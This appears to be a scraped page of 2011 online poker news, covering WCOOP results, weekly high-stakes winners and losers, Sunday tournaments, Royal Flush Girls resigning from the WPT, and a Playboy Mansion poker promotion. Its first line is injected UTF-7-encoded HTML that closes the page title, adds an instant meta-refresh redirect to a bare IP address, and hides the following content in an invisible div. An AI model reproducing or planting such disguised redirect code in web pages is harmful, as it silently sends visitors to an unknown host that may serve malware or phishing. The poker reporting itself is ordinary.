+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

The first of 23 days of action is now complete at the PokerStars WCOOP (World Championship of Online Poker), and no player shined brighter than Ashley Mason, aka DYBYDX. Mason took down the NLHE High Roller event (WCOOP 2) to win a staggering $430,000. He was trailed by xraypies and Kevin MacPhee, who received cashes of $310k and $235k, respectively.

The NLHE High Roller remained true to its name with a buy-in of $10,000 plus $300 in tournament fees. Exactly 200 players paid their buy-ins to form a prize pool of $2 million, greatly exceeding the $1.25 million guarantee. Daniel Negreanu received one of the worst bad beats of the day when his pocket aces fell to a pair of 10s held by Tobias Reinkemeier. Reinkemeier ended up placing 6th in the tournament to win an even $100k.

Tom Marchese, who recently relocated from the U.S. to Canada in order to further his online poker career, made good on his move to finish in 9th place and win a cool $40k. Noted pro Joe Hachem made a deep run as well, landing in 24th and doubling his buy-in money.

The other two events that kicked off the first day of the WCOOP including the $200 NLHE 6-Max and the $200 NLHE, both of which are set to occur over two days. In the latter event, a field of 10,107 players has already been whittled down to 69, with a whopping $2.02 million in prize money up for grabs.

The 6-Max tournament is nearly as stacked. Exactly 7,500 players paid $200+$15 buy-ins to generate a $1.5 million prize pool, and just 37 of those remain for Day 2. Among them is Liv Boeree of Team PokerStars Pro, who earned the biggest pot of the day (1.5 million chips) before dropping slightly as play concluded for the evening.

The high stakes online poker scene was booming this past week as players prepared for the World Cup of Online Poker. The WCOOP, which kicked off September 4, contains 62 events and over $30 million in guaranteed prize cash, making it the online equivalent of the WSOP.

With so much at stake, it’s easy to see why big name pros including Phil “MrSweets28″ Galfond, Gavin “gavz101″ Cochrane, Andreas “Skjervoy” Torbergsen and Viktor “Isidur1″ Blom were so active. After winning a staggering $1 million last weekend only to lose some back to the field, Blom emerged as the biggest winner of the past week once again with a score of over $630k. It only took 4,400 hands spread over the course of 43 sessions for the Swede to earn that sum.

The aforementioned Torbergsen also managed to book a highly successful week. He played 24 sessions comprising just under 2,500 hands to earn $334k. Torbergsen’s win was enough to push him past Dan “Jungleman12″ Cates on the 2011 overall earnings list. Gus Hansen remains on top of that leaderboard by nearly $2 million despite being almost entirely absent from online poker since Black Friday.

Ilari “FIN” Sahamies, perhaps better known by his Full Tilt handle Ziigmund, was the biggest loser of the week. He lost a staggering $1.06 million, much of which went directly to Isildur1. Phil Galfond, who has been one of the biggest post-Black Friday success stories in the game, had a chink in his armor exposed when he lost $347k across 63 sessions. Extreme volume (he played well over 9,000 hands in one week) may not be his strength.

Gavz101 had a negative week as well, losing $204k over the course of 21 sessions. Cochrane was wise to keep his volume relatively low (1,245 hands) before he lost even more.

Although most of the online poker world had its attention fixated on the PokerStars World Championship of Online Poker this past weekend, PokerStars had several of its regular Sunday tournaments running as well. Despite the absence this week of the higher buy-in tournaments such as the Sunday 500, the Sunday Warm-Up and the Sunday Million, other events such as the Sunday Rebuy, the Sunday Storm, and the Bigger $162 managed to draw huge competitor fields.

The biggest score of the day came at the $109 Sunday Rebuy, which attracted almost 1,300 players (over 400 more than last weekend) to create a prize pool worth nearly $433k. Mike “Pipedream17″ Dietrich emerged victorious to win $66.8k after striking a deal with GusanoZ and F_H_E_S. Dietrich was due for a massive score after making the final table in the Sunday 500 for two weeks running. The latter two players received $56k and $57k, respectively.

The Bigger $162 was also up in attendance, attracting 1,800 entrants compared to last week’s 1,400. Despite a guaranteed prize pool of $100k, each player paid a $150+$12 buy-in to generate an incredible $271k. Although u.RuGwal won the tournament outright for a score of over $45k, the most impressive performance perhaps belonged to Kevin MacPhee. MacPhee placed 5th in the tournament to win $13.5k before going on to make the final table in the WCOOP High Roller that very same day.

Another massive score came in the Bigger $109, in which Unicum Next topped the leaderboard to win $52.6k. This event too was literally swelling with players, drawing almost 3,500 in comparison to last week’s 2,600. Each player paid a $100 buy-in to create a $344k prize pool, almost 3.5 times the size of the guarantee. Tomy C 06 and FatFatJesper ranked as runners-up to win $38k and $27k, respectively.

The Royal Flush Girls were introduced prior to Season IX of the World Poker Tour (WPT) as a hybrid between hostesses and cheerleaders for the popular poker tour. One Royal Flush Girl in particular received quite a bit of attention, Melanie Iglesias, when she was named Maxim Magazine’s Hometown Hottie contest winner, and from there the Royal Flush Girls went from an insignificant part of the WPT that few people even knew existed to creating their own headlines.

Apparently not everything has been champagne and roses for the Royal Flush Girls, considering Iglesias decided to leave the WPT, making the following statement to her 18,000+ Twitter followers and 34,000+ Facebook fans:

“To all of My Fans, I’m sorry to inform you that I have resigned yesterday and will no longer be part of the World Poker Tour. The tour provided a unique learning experience for me and I wish everyone the best with their future endeavors. I will not be attending any WPT events for the remainder of season 10 and on. I’ll keep you all posted on the series I’ve been working on with MTV 2. Not to mention the 8 pages I just shot with Maxim Magazine in Hawaii! Thank you for the everlasting support! Xo”

Soon after Iglesias departure, another Royal Flush Girl, Michelle Banzer, also ended her stint as a representative for the WPT: “After careful consideration I’ve come to a decision to officially resign from the World Poker Tour. It’s been an eventful run. All the best.”

This leaves the WPT with just three Royal Flush Girls for the remainder of the season. Thus far there has been no statement from the WPT, or further explanation from Iglesias or Banzer.

One of the handfuls of press releases I found in my inbox this past Wednesday featured a prize that virtually any poker player would be salivating to receive, even though the prize itself has nothing to do with poker! The FREE to play online poker site ZEN Entertainment announced it would be sending two people (the winner of the tournament as well as a guest) to the infamous Kandy Halloween Party at the Playboy Mansion!

The trip includes accommodations for three days/two nights, as well as a little spending cash for your time in Los Angeles. Here is a look at the complete details from the press release:

One lucky (and talented) person will be celebrating Halloween this year at one of the world’s most famous homes: the Playboy Mansion. And, they will have won it without spending a cent.

ZEN Entertainment is giving away two tickets to the infamous Kandy Halloween Party on Oct. 29, a $2,000 value, to the winner of its free-to-play, online poker network.

On top of that, the winner also gets accommodations for three fun-filled days and two exciting nights in Los Angeles, including airfare, hotel and $250 in spending money.

The party will feature open premium bars and buffets by the mansion’s executive chef, Playmates and Kandy dancers, and a performance by international superstar DJ Tiesto. It all takes place on nearly five acres that includes two graveyards, a haunted forest and haunted house, monsters and ghouls and more.

There are multiple daily qualifiers with the championship taking place at 6:30 p.m. Pacific, 9:30 p.m. Eastern, on Oct. 7.